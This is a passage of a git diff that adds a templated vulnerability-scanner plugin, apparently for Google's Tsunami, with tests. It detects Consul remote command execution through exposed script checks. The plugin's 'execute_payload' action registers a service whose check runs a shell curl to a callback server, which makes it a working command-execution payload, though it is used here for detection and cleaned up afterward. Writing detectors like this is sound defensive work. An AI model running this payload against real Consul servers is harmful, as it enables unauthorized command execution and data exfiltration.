"Definition": {}, - "CreateIndex": 81, - "ModifyIndex": 112 -} diff --git a/templated/templateddetector/plugins/exposedui/Consul_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/Consul_ExposedUI.textproto new file mode 100644 index 000000000..7a09c3a67 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Consul_ExposedUI.textproto @@ -0,0 +1,174 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Consul_ExposedUI" + author: + "Robert Dick (robert@doyensec.com) for templated version, " + "Tsunami Team (tsunami-dev@google.com) for original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CONSUL_EXPOSEDUI" + } + severity: CRITICAL + title: "Consul -enable-script-checks remote command execution" + description: + "The scanner detected that attackers can execute arbitrary code on this server as Consul is" + " configured with -enable-script-checks set to true while the Consul HTTP API is" + " unsecured and accessible over the network. In versions of Consul 0.9.0 or earlier," + " script checks are by default on, while in later versions, they are disabled by" + " default. See" + " https://www.hashicorp.com/blog/protecting-consul-from-rce-risk-in-specific-configurations" + " for more information.\n" + "Details on the scanner logic:\n" + " The scanner was able to register a service on the Consul instance using the" + " /v1/health/service REST endpoint which executed one of the following: \n" + "1. A `curl` command to a remote server outside of the network, a technique that can be" + " used to exfiltrate data from the server.\n" + "2. A `printf` command whose output was then verified by using the /v1/health/service" + " REST endpoint.\n" + " Note that that the scanner subsequently cleaned up and deregistered the service using" + " the /v1/agent/service/deregister/ REST endpoint." + recommendation: + "Upgrade to a more modern Consul version, enable ACLs, and disable script checks. If your" + " require script checks, use the -enable-local-script-checks flag instead. For ACL" + " configuration, see https://www.consul.io/docs/security/acl#acl-documentation and" + " https://learn.hashicorp.com/tutorials/consul/access-control-setup-production#bootstrapping-acls" +} + +########### +# ACTIONS # +########### + +# light fingerprint because the title, etc. might vary by language or version. +# the detector steps are not false positive prone so it should be fine + +actions: { + name: "fingerprint_consul" + http_request: { + method: GET + uri: "/" + response: { + expect_all: { + conditions: [ + { body: {} contains: "consul-ui" } + ] + } + } + } +} + +actions: { + name: "execute_payload" + http_request: { + method: PUT + uri: "/v1/agent/service/register?replace-existing-checks=true" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: + '{' + '"Name": "TSUNAMI_RCE_TEST",' + '"check": {' + '"Args": ["sh", "-c", "curl {{ T_CBS_URI }}"],' + '"interval": "10s",' + '"timeout": "600s"' + '}' + '}' + } + cleanup_actions: "unregister_service" +} + +# longer sleep is okay here since we fingerprinted + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 10000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +actions: { + name: "unregister_service" + http_request: { + method: PUT + uri: "/v1/agent/service/deregister/TSUNAMI_RCE_TEST" + } +} + +# reflective version that works when callback server is disabled + +actions: { + name: "execute_payload_reflective" + http_request: { + method: PUT + uri: "/v1/agent/service/register?replace-existing-checks=true" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: + '{' + '"Name": "TSUNAMI_RCE_TEST",' + '"check": {' + '"Args": ["sh", "-c", "printf %x 133713371337"],' + '"interval": "10s",' + '"timeout": "600s"' + '}' + '}' + } + cleanup_actions: "unregister_service" +} + +# for the reflective version we have to check the printed statement + +actions: { + name: "check_executed_reflective" + http_request: { + method: GET + uri: "/v1/health/service/TSUNAMI_RCE_TEST" + response: { + expect_all: { + conditions: [ + { body: {} contains: "1f21f020c9"} + ] + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_consul", + "execute_payload", + "sleep", + "check_callback_server_logs" + ] +} + +# non-callback workflow + +workflows: { + actions: [ + "fingerprint_consul", + "execute_payload_reflective", + "sleep", + "check_executed_reflective" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/exposedui/Consul_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Consul_ExposedUI_test.textproto new file mode 100644 index 000000000..277d90de9 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Consul_ExposedUI_test.textproto @@ -0,0 +1,146 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Consul_ExposedUI" +} + +tests: { + name: "whenOobVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/v1/agent/service/register?replace-existing-checks=true" + status: 200 + body_content: + '...' + }, + { + uri: "/" + status: 200 + body_content: + '... consul-ui ...' + } + ] + } +} + + +tests: { + name: "whenOobNotVulnerable_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/v1/agent/service/register?replace-existing-checks=true" + status: 200 + body_content: + '...' + }, + { + uri: "/" + status: 200 + body_content: + '... consul-ui ...' + } + ] + } +} + +# non-callback tests + +tests: { + name: "whenReflectiveVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: false + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/v1/agent/service/register?replace-existing-checks=true" + status: 200 + body_content: + '...' + }, + { + uri: "/v1/health/service/TSUNAMI_RCE_TEST" + status: 200 + body_content: + "... 1f21f020c9 ..." + }, + { + uri: "/" + status: 200 + body_content: + '... consul-ui ...' + } + ] + } +} + +tests: { + name: "whenReflectiveNotVulnerable_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: false + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/v1/agent/service/register?replace-existing-checks=true" + status: 200 + body_content: + '...' + }, + { + uri: "/v1/health/service/TSUNAMI_RCE_TEST" + status: 200 + body_content: + "... 133713371337 ..." + }, + { + uri: "/" + status: 200 + body_content: + '... consul-ui ...' + } + ] + } +} + +tests: { + name: "whenRandomServer_returnsFalse" + expect_vulnerability: false + + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +} +